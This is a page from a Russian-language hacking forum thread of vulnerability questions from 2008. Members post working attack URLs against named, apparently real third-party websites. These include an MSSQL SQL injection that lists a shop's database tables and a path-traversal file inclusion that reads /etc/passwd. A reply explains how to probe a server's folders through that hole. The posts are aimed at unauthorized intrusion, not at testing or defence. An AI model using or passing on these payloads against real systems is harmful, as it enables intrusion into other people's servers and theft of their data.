ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 246 из 1393 « Первая < 146196236 242 243 244 245 246 247 248 249 250 2562963467461246 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #2451  
Старый 23.06.2008, 22:45
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию
2 sabe
А что хелп то? Крути всё нормально MSSQL
_http://www.bjsornamentalkoi.co.uk/product.asp?product_id=1+or+1=(SELECT+TOP+1+TABLE_ NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NA ME+NOT+IN+('links','links_category'))--
2 theli
Забавно
 
Ответить с цитированием

  #2452  
Старый 23.06.2008, 22:45
Аватар для Велемир
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию
Хм...А имена таблиц и полей(если стоят по умолчанию) на всех хостящихся на нём сайтов - одинаковые ?
 
Ответить с цитированием

  #2453  
Старый 23.06.2008, 22:51
Аватар для theli
theli
Новичок
Регистрация: 29.05.2008
Сообщений: 12
Провел на форуме:
171038

Репутация: 11
По умолчанию
Цитата:
Сообщение от jokester  
2 sabe 2 theli
Забавно
ой, чёго-то совсем забыл что оно так удобно пишет ошибки
 
Ответить с цитированием

  #2454  
Старый 23.06.2008, 22:54
Аватар для sabe
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию
спс... я просто не люблю microsoft
 
Ответить с цитированием

  #2455  
Старый 23.06.2008, 22:57
Аватар для gisTy
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме:
3629857

Репутация: 504


По умолчанию
Цитата:
Сообщение от Велемир  
...
надо смотреть по обстоятельствам... например на хостинге висят два форума на двух разных сайтах.. если движки самописные то названия таблиц и колонок такое как в движке задаано было... а если паблик движки то там названия таблиц и колонок можно узнать поставив себе на локалхост или еще куда-нибудь форум и посмотрев (не будешь же ты во всех скриптах менять название таблицы и колонок=))...
 
Ответить с цитированием

  #2456  
Старый 24.06.2008, 00:31
Аватар для Cmucl
Cmucl
Новичок
Регистрация: 21.06.2008
Сообщений: 17
Провел на форуме:
153953

Репутация: 18
По умолчанию
http://shop.tuse.com.ua/basket/?mode=../../../../../../../../etc/passwd%00&id=43
есть лькальный инклуд,что с ним можно сделать? =\
 
Ответить с цитированием

  #2457  
Старый 24.06.2008, 00:40
Аватар для gisTy
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме:
3629857

Репутация: 504


По умолчанию
Цитата:
Сообщение от Cmucl  
...
при помощи него можно смотреть различные файлы на сервере..
можно еще проверять наличие папок, например так:
Код:
 www.site.com/script.php?page=../../../../../../../../var/www/../../etc/passwd
где вместо /var/www ты подставляешь проверяемую папку
если выведется содержимое /etc/passwd то значит папка существует, если выскочит ошибка - то нет такой страницы.. соответстветсвенно проверяй другие места..
Последний раз редактировалось gisTy; 24.06.2008 в 00:44..
 
Ответить с цитированием

  #2458  
Старый 24.06.2008, 01:01
Аватар для Cmucl
Cmucl
Новичок
Регистрация: 21.06.2008
Сообщений: 17
Провел на форуме:
153953

Репутация: 18
По умолчанию
Red_Red1,скинь плз ссылку в приват.(с розруленой скулей)
 
Ответить с цитированием

  #2459  
Старый 24.06.2008, 12:03
Аватар для Ershik
Ershik
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме:
1325167

Репутация: 100
По умолчанию
Подставляю кавычку, выплевывает следующее:
[quote]
Microsoft VBScript runtime error '800a000d'

Type mismatch: 'cint'

/page.asp, line 7[./quote]
Это MSSQL? Если да, почему тогда не работает статья [ cash ]?
 
Ответить с цитированием

  #2460  
Старый 24.06.2008, 12:07
Аватар для z3r0cool
z3r0cool
Познающий
Регистрация: 22.04.2008
Сообщений: 32
Провел на форуме:
137918

Репутация: 56
Отправить сообщение для z3r0cool с помощью ICQ
По умолчанию
Цитата:
Сообщение от Ershik  
Подставляю кавычку, выплевывает следующее:
Microsoft VBScript runtime error '800a000d'

Type mismatch: 'cint'

/page.asp, line 7
Это MSSQL? Если да, почему тогда не работает статья [ cash ]?
Это не ошибка MSSQL, это VB.
Последний раз редактировалось z3r0cool; 24.06.2008 в 12:25..
 
Ответить с цитированием
Ответ
Страница 246 из 1393 « Первая < 146196236 242 243 244 245 246 247 248 249 250 2562963467461246 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ